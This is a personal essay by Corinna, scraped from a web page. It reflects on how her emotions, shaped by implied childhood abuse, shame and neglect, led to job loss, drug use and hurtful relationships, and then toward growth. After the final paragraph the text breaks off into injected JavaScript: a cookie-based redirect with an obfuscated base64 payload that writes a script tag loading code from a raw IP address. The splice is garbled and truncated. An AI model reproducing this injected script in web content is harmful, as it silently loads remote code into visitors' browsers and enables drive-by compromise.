My Emotions

by Corinna

My emotions in life have been my enemy. They have done things to cause me
loss. Like following me to work after keeping me up all night arguing. They
made me forget to check the tone of my voice. They made me jump to conclusions
and assume. They cost me my job and let everyone see my short fuse. I forgot to
be diplomatic. I called my boss a jerk.

My emotions were, very early, manipulated. My feelings were meshed into the
body I groom. They grew into my skin when I was forced to keep private, an
inappropriate set of adult rules. I was frightened for so many reasons by the
emotions in my room. I was a child conflicted by guilty secrets and broken
rules. Now it is hard to be with anyone, and even harder to be alone. I am not
comfortable in my own skin.

My emotions sometimes glow red with shame, because everyone knows they are
physical. Everyone sees how awkward and tense my body language is. Broken rules
that caused so much guilt and confusion when I was young, have killed my
confidence and slashed my self-esteem.

My emotions are fixed so solid in my skeletal structure, that sex can be like a
bone stuck in my throat. And the emotional sickness thinks that the cure might
still be genital stimulation… so that my entire life has become a trigger to
use. Because drugs alert genitals with a false sense of well being, that is as
close as I can get to removing the past from my body; and for a while I forget
the guilt under my skin.

My emotions have lied to me, and made me think that I was loved. I have
believed in men who did not care about me. They persuaded me to accept sex when
I wanted love. Even made me wrong about things I was sure were said. Because of
my emotions I have sacrificed my long term goals for what I wanted at the
moment. Allowed myself to be seduced by the idea of immediate pleasure.

My emotions have been neglected. They have not always been acknowledged. My
emotions have not been consistently responded to. I have lived in environments
of random payoff, so that my emotional needs never knew if they would be met.
Now they are the anxiety that makes me repeat maternal warnings too many times.
I do not trust things that claim to be predictable. I am suspicious of
compliments. I am leery of a friend’s time.

My emotions have motivated me. They have given me new goals. Inspired me to
learn the art of assertiveness. They have reinforced my success and made me
learn from my mistakes. They have given me the wisdom to put my own wants aside
in order to get what I need. They have encouraged me to respect my own
disclosure by resisting the impulse to wear my emotions on my sleeve. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘